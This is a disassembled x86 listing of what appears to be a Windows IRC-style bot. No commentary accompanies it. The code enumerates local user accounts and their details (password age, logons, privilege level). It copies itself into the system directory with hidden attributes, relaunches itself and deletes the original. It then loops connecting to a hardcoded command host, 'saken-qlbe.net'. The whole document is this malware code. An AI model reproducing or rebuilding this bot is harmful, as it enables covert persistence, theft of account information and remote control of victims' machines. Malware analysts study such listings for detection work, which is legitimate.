var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_40DA89
push [ebp+arg_4]
mov edi, eax
call sub_40DA89
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_40DA89
add esp, 0Ch
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_8], 0
lea ecx, [ebp+var_4]
mov [ebp+var_20], eax
xor eax, eax
push ecx
lea ecx, [ebp+var_24]
inc eax
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_43EA08
pop edi
leave
retn
sub_40DCD9 endp
; =============== S U B R O U T I N E =======================================
sub_40DD33 proc near ; CODE XREF: sub_40DC0E+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40DA89
push [esp+8+arg_4]
mov esi, eax
call sub_40DA89
pop ecx
pop ecx
push eax
push esi
call dword_43E9F8
pop esi
retn
sub_40DD33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DD54 proc near ; CODE XREF: sub_40DC0E+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_40DA89
push [ebp+arg_4]
mov esi, eax
call sub_40DA89
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_43EB7C
test eax, eax
mov [ebp+arg_0], eax
jnz loc_40E0E1
mov eax, [ebp+var_4]
test eax, eax
jz loc_40E11C
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_416FB6
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_40DE6D
dec eax
jz short loc_40DE66
dec eax
jz short loc_40DE5F
mov eax, offset aUnknown ; "Unknown"
jmp short loc_40DE72
; ---------------------------------------------------------------------------
loc_40DE5F: ; CODE XREF: sub_40DD54+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_40DE72
; ---------------------------------------------------------------------------
loc_40DE66: ; CODE XREF: sub_40DD54+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_40DE72
; ---------------------------------------------------------------------------
loc_40DE6D: ; CODE XREF: sub_40DD54+FCj
mov eax, offset aGuest ; "Guest"
loc_40DE72: ; CODE XREF: sub_40DD54+109j
; sub_40DD54+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D476
add esp, 20h
pop edi
pop ebx
jmp short loc_40E10D
; ---------------------------------------------------------------------------
loc_40E0E1: ; CODE XREF: sub_40DD54+35j
push eax
lea eax, [ebp+var_204]
push offset dword_42E35C
push eax
call sub_416FB6
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40D476
add esp, 20h
loc_40E10D: ; CODE XREF: sub_40DD54+38Bj
cmp [ebp+var_4], 0
jz short loc_40E11C
push [ebp+var_4]
call dword_43EBB4
loc_40E11C: ; CODE XREF: sub_40DD54+40j
; sub_40DD54+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_40DD54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E122 proc near ; CODE XREF: sub_40EC43+2175p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_40DA89
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 18h
loc_40E161: ; CODE XREF: sub_40E122+12Bj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_43EA8C
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_40E1C2
cmp eax, 0EAh
jz short loc_40E1C2
push eax
push eax
call sub_40E298
pop ecx
push eax
lea eax, [ebp+var_218]
push offset dword_42E56C
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 24h
jmp short loc_40E233
; ---------------------------------------------------------------------------
loc_40E1C2: ; CODE XREF: sub_40E122+62j
; sub_40E122+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_40E246
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_40E233
loc_40E1D0: ; CODE XREF: sub_40E122+E9j
cmp edi, esi
lea eax, [ebp+var_218]
jz short loc_40E20F
push dword ptr [edi]
push offset aS_6 ; " %S"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_40E1D0
jmp short loc_40E233
; ---------------------------------------------------------------------------
loc_40E20F: ; CODE XREF: sub_40E122+B6j
push offset dword_42E528
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 1Ch
loc_40E233: ; CODE XREF: sub_40E122+9Ej
; sub_40E122+ACj ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_40E246
push edi
call dword_43EBB4
xor edi, edi
mov [ebp+var_4], edi
loc_40E246: ; CODE XREF: sub_40E122+A5j
; sub_40E122+116j
cmp [ebp+var_C], 0EAh
jz loc_40E161
cmp edi, esi
jz short loc_40E25E
push edi
call dword_43EBB4
loc_40E25E: ; CODE XREF: sub_40E122+133j
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40E122 endp
; =============== S U B R O U T I N E =======================================
sub_40E298 proc near ; CODE XREF: sub_40D8F8+41p
; sub_40DAED+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_40E34A
jz loc_40E343
cmp eax, 7Bh
ja short loc_40E30F
jz short loc_40E305
cmp eax, 5
jz short loc_40E2FB
cmp eax, 8
jz short loc_40E2F1
cmp eax, 32h
jz short loc_40E2E7
cmp eax, 35h
jz short loc_40E2DD
cmp eax, 57h
jnz loc_40E399
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E2DD: ; CODE XREF: sub_40E298+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E2E7: ; CODE XREF: sub_40E298+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E2F1: ; CODE XREF: sub_40E298+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E2FB: ; CODE XREF: sub_40E298+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E305: ; CODE XREF: sub_40E298+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E30F: ; CODE XREF: sub_40E298+1Aj
sub eax, 7Ch
jz short loc_40E33C
sub eax, 7C8h
jz short loc_40E335
dec eax
jz short loc_40E32B
dec eax
jnz short loc_40E399
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E32B: ; CODE XREF: sub_40E298+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E335: ; CODE XREF: sub_40E298+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E33C: ; CODE XREF: sub_40E298+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E343: ; CODE XREF: sub_40E298+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E34A: ; CODE XREF: sub_40E298+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_40E383
jz short loc_40E37C
sub eax, 8ADh
jz short loc_40E3AE
dec eax
dec eax
jz short loc_40E375
dec eax
jz short loc_40E36E
dec eax
dec eax
jnz short loc_40E399
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E36E: ; CODE XREF: sub_40E298+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E375: ; CODE XREF: sub_40E298+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E37C: ; CODE XREF: sub_40E298+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E383: ; CODE XREF: sub_40E298+B9j
sub eax, 8CAh
jz short loc_40E3B5
sub eax, 17h
jz short loc_40E3AE
sub eax, 25h
jz short loc_40E3A7
sub eax, 29h
jz short loc_40E3A0
loc_40E399: ; CODE XREF: sub_40E298+35j
; sub_40E298+87j ...
push offset aAnUnknownError ; "An unknown error occurred."
jmp short loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E3A0: ; CODE XREF: sub_40E298+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E3A7: ; CODE XREF: sub_40E298+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E3AE: ; CODE XREF: sub_40E298+C2j
; sub_40E298+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_40E3BA
; ---------------------------------------------------------------------------
loc_40E3B5: ; CODE XREF: sub_40E298+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_40E3BA: ; CODE XREF: sub_40E298+40j
; sub_40E298+4Aj ...
push offset dword_443180
call sub_416FB6
pop ecx
mov eax, offset dword_443180
pop ecx
retn
sub_40E298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E3CC proc near ; CODE XREF: sub_40EC43+21BAp
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_4196B9
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call dword_423154 ; GetComputerNameA
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_4196B9
lea eax, [ebp+var_718]
push eax
call sub_41969C
add esp, 10h
add eax, eax
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_43EB34
test eax, eax
jnz short loc_40E45C
mov esi, offset dword_442F78
push offset dword_42E8C0
push esi
call sub_416FB6
pop ecx
pop ecx
jmp short loc_40E485
; ---------------------------------------------------------------------------
loc_40E45C: ; CODE XREF: sub_40E3CC+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_40E298
pop ecx
mov esi, offset dword_442F78
push eax
push offset dword_42E888
push esi
call sub_416FB6
add esp, 14h
loc_40E485: ; CODE XREF: sub_40E3CC+8Ej
mov eax, esi
pop esi
leave
retn
sub_40E3CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E48A proc near ; CODE XREF: sub_4198E4+C9p
var_988 = byte ptr -988h
var_884 = byte ptr -884h
var_883 = byte ptr -883h
var_6F4 = byte ptr -6F4h
var_5F4 = byte ptr -5F4h
var_4F0 = byte ptr -4F0h
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_1E8 = byte ptr -1E8h
var_E4 = byte ptr -0E4h
var_64 = dword ptr -64h
var_58 = dword ptr -58h
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_C], ebx
mov [ebp+var_8], offset sub_40D1A2
push [ebp+var_8]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_423058
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4890F8, eax
call esi ; GetTickCount
push eax
call sub_417008
pop ecx
call sub_409658
push 2
call dword_43EBD0 ; SetErrorMode
push 7530h
push offset aBotid ; "botid"
push ebx
push ebx
call dword_423164 ; CreateMutexA
push eax
call dword_423088 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40E507
push 1
call dword_42314C ; ExitProcess
loc_40E507: ; CODE XREF: sub_40E48A+73j
lea eax, [ebp+var_884]
push eax
push 202h
call dword_43EA9C ; WSAStartup
cmp eax, ebx
mov [ebp+var_8], eax
jnz loc_40E958
cmp [ebp+var_884], 2
jnz loc_40E952
xor eax, eax
mov al, [ebp+var_883]
cmp al, 2
jnz loc_40E952
mov esi, 104h
lea eax, [ebp+var_3F0]
push esi
push eax
call dword_423068 ; GetSystemDirectoryA
lea eax, [ebp+var_2EC]
push esi
push eax
push ebx
call dword_423100 ; GetModuleHandleA
push eax
call dword_423094 ; GetModuleFileNameA
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push ebx
lea eax, [ebp+var_2EC]
push ebx
push eax
call sub_418FB8
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push offset aSS_2 ; "%s%s"
lea eax, [ebp+var_5F4]
push esi
push eax
call sub_41752A
lea eax, [ebp+var_3F0]
push eax
lea eax, [ebp+var_2EC]
push eax
call sub_417580
add esp, 30h
test eax, eax
jnz loc_40E75B
cmp dword_42E914, ebx
mov esi, offset byte_42E9B8
jz short loc_40E602
push esi
xor edi, edi
call sub_4177B0
sub eax, 4
pop ecx
jz short loc_40E602
loc_40E5DF: ; CODE XREF: sub_40E48A+176j
call sub_417012
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_42E9B8[edi], dl
inc edi
call sub_4177B0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_40E5DF
loc_40E602: ; CODE XREF: sub_40E48A+145j
; sub_40E48A+153j
lea eax, [ebp+var_3F0]
push esi
push eax
lea eax, [ebp+var_1E8]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_416FB6
add esp, 10h
lea eax, [ebp+var_1E8]
push eax
call dword_4230A8 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_40E642
lea eax, [ebp+var_1E8]
push 80h
push eax
call dword_423128 ; SetFileAttributesA
loc_40E642: ; CODE XREF: sub_40E48A+1A4j
mov esi, dword_423160
xor edi, edi
jmp short loc_40E66E
; ---------------------------------------------------------------------------
loc_40E64C: ; CODE XREF: sub_40E48A+1F7j
call dword_42308C ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40E683
cmp eax, 20h
jz short loc_40E660
cmp eax, 5
jnz short loc_40E683
loc_40E660: ; CODE XREF: sub_40E48A+1CFj
xor edi, edi
push 3A98h
inc edi
call dword_423064 ; Sleep
loc_40E66E: ; CODE XREF: sub_40E48A+1C0j
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
push eax
call esi ; CopyFileA
test eax, eax
jz short loc_40E64C
loc_40E683: ; CODE XREF: sub_40E48A+1CAj
; sub_40E48A+1D4j
lea eax, [ebp+var_1E8]
push eax
call sub_40A9AA
pop ecx
lea eax, [ebp+var_1E8]
push 7
push eax
call dword_423128 ; SetFileAttributesA
push 10h
lea eax, [ebp+var_1C]
push ebx
push eax
call sub_417030
push 44h
lea eax, [ebp+var_64]
pop esi
push esi
push ebx
push eax
call sub_417030
mov [ebp+var_64], esi
xor esi, esi
inc esi
add esp, 18h
mov [ebp+var_58], offset byte_43BCE8
mov [ebp+var_38], esi
mov [ebp+var_34], bx
call dword_42315C ; GetCurrentProcessId
push eax
push esi
push 100000h
call dword_4230FC ; OpenProcess
lea ecx, [ebp+var_2EC]
push ecx
push eax
lea eax, [ebp+var_1E8]
push eax
lea eax, [ebp+var_988]
push offset dword_434488
push eax
call sub_416FB6
add esp, 14h
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_64]
push eax
lea eax, [ebp+var_3F0]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_988]
push ebx
push eax
lea eax, [ebp+var_1E8]
push eax
call dword_423120 ; CreateProcessA
test eax, eax
jz short loc_40E75B
push 0C8h
call dword_423064 ; Sleep
push [ebp+var_1C]
mov esi, dword_423078
call esi ; CloseHandle
push [ebp+var_18]
call esi ; CloseHandle
call dword_43EA84 ; WSACleanup
push ebx
call dword_42314C ; ExitProcess
loc_40E75B: ; CODE XREF: sub_40E48A+134j
; sub_40E48A+2A7j
cmp dword_4894C8, 2
jle short loc_40E7A7
mov eax, dword_4894CC
push dword ptr [eax+4]
call sub_41751F
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call dword_423088 ; WaitForSingleObject
push esi
call dword_423078 ; CloseHandle
mov eax, dword_4894CC
cmp [eax+8], ebx
jz short loc_40E7A7
push 7D0h
call dword_423064 ; Sleep
mov eax, dword_4894CC
push dword ptr [eax+8]
call dword_423158 ; DeleteFileA
loc_40E7A7: ; CODE XREF: sub_40E48A+2D8j
; sub_40E48A+302j
cmp dword_42E918, ebx
jz short loc_40E7C4
cmp dword_43EBF0, ebx
jnz short loc_40E7C4
lea eax, [ebp+var_5F4]
push eax
call sub_40BFCF
pop ecx
loc_40E7C4: ; CODE XREF: sub_40E48A+323j
; sub_40E48A+32Bj
lea eax, [ebp+var_E4]
push offset dword_434460
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_E4]
push ebx
push eax
call sub_416A7A
lea eax, [ebp+var_E4]
push eax
call sub_40BD8D
push 0B80h
push ebx
push offset dword_4437E8
call sub_417030
call sub_417012
push 7Fh
push offset aSakenQlbe_net ; "saken-qlbe.net"
push offset dword_489104
mov dword_489270, ebx
call sub_418910
mov eax, dword_42E8F8
push 3Fh
mov edi, offset dword_489184
push offset a1 ; "#1#"
push edi
mov dword_489254, eax
call sub_418910
push 3Fh
mov esi, offset dword_4891C4
push offset a7lome ; "7lome"
push esi
call sub_418910
add esp, 48h
mov dword_489258, ebx
loc_40E852: ; CODE XREF: sub_40E48A+46Ej
; sub_40E48A+479j ...
mov [ebp+var_4], ebx
loc_40E855: ; CODE XREF: sub_40E48A+422j
cmp dword_43EC08, ebx
jnz short loc_40E873
lea eax, [ebp+var_20]
push ebx
push eax
call dword_43EA68 ; InternetGetConnectedState
test eax, eax
jnz short loc_40E873
push 7530h
jmp short loc_40E89F
; ---------------------------------------------------------------------------
loc_40E873: ; CODE XREF: sub_40E48A+3D1j
; sub_40E48A+3E0j
push offset dword_489100
mov dword_48926C, ebx
call sub_40E961
cmp eax, 2
mov [ebp+var_8], eax
jz loc_40E94D
cmp dword_48926C, ebx
jz short loc_40E89A
dec [ebp+var_4]
loc_40E89A: ; CODE XREF: sub_40E48A+40Bj
push 0BB8h
loc_40E89F: ; CODE XREF: sub_40E48A+3E7j
call dword_423064 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_40E855
cmp [ebp+var_8], 2
jz loc_40E94D
cmp [ebp+var_C], ebx
jz short loc_40E8FD
push 7Fh
push offset aSakenQlbe_net ; "saken-qlbe.net"
push offset dword_489104
call sub_418910
mov eax, dword_42E8F8
push 3Fh
push offset a1 ; "#1#"
push edi
mov dword_489254, eax
call sub_418910
push 3Fh
push offset a7lome ; "7lome"
push esi
call sub_418910
add esp, 24h
mov [ebp+var_C], ebx
jmp loc_40E852
; ---------------------------------------------------------------------------
loc_40E8FD: ; CODE XREF: sub_40E48A+431j
cmp byte_42E99C, bl
jz loc_40E852
push 7Fh
push offset byte_42E99C
push offset dword_489104
call sub_418910
mov eax, dword_42E8FC
push 3Fh
push offset dword_42E9AC
push edi
mov dword_489254, eax
call sub_418910
push 3Fh
push offset a7lome_0 ; "7lome"
push esi
call sub_418910
add esp, 24h
mov [ebp+var_C], 1
jmp loc_40E852
; ---------------------------------------------------------------------------
loc_40E94D: ; CODE XREF: sub_40E48A+3FFj
; sub_40E48A+428j
call sub_416C3D
loc_40E952: ; CODE XREF: sub_40E48A+A1j
; sub_40E48A+B1j
call dword_43EA84 ; WSACleanup
loc_40E958: ; CODE XREF: sub_40E48A+94j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_40E48A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E961 proc near ; CODE XREF: sub_40E48A+3F4p
; DATA XREF: sub_40EC43+3ACEo
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40E986: ; CODE XREF: sub_40E961+E6j
; sub_40E961+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417030
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_43EB24 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40ABF8
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40EAC3
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_417030
push 0
lea eax, [ebp+var_2C]
push dword_489264
push dword_42E924
push eax
call sub_415A3A
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_444580
push edi
push eax
call sub_418910
add esp, 28h
push 6
push 1
push 2
call dword_43EBA4 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_444574[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_43EACC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EA4C
push esi
call dword_43EBBC ; closesocket
call sub_40AC21
push 7D0h
loc_40EA41: ; CODE XREF: sub_40E961+146j
call dword_423064 ; Sleep
jmp loc_40E986
; ---------------------------------------------------------------------------
loc_40EA4C: ; CODE XREF: sub_40E961+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_434494
call sub_40BE01
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_40EAC7
add esp, 28h
mov edi, eax
push esi
call dword_43EBBC ; closesocket
test edi, edi
jz loc_40E986
cmp edi, 1
jnz short loc_40EAA9
push 0DBBA0h
jmp short loc_40EA41
; ---------------------------------------------------------------------------
loc_40EAA9: ; CODE XREF: sub_40E961+13Fj
cmp edi, 2
jnz loc_40E986
push [ebp+var_34]
call sub_416D90
pop ecx
push edi
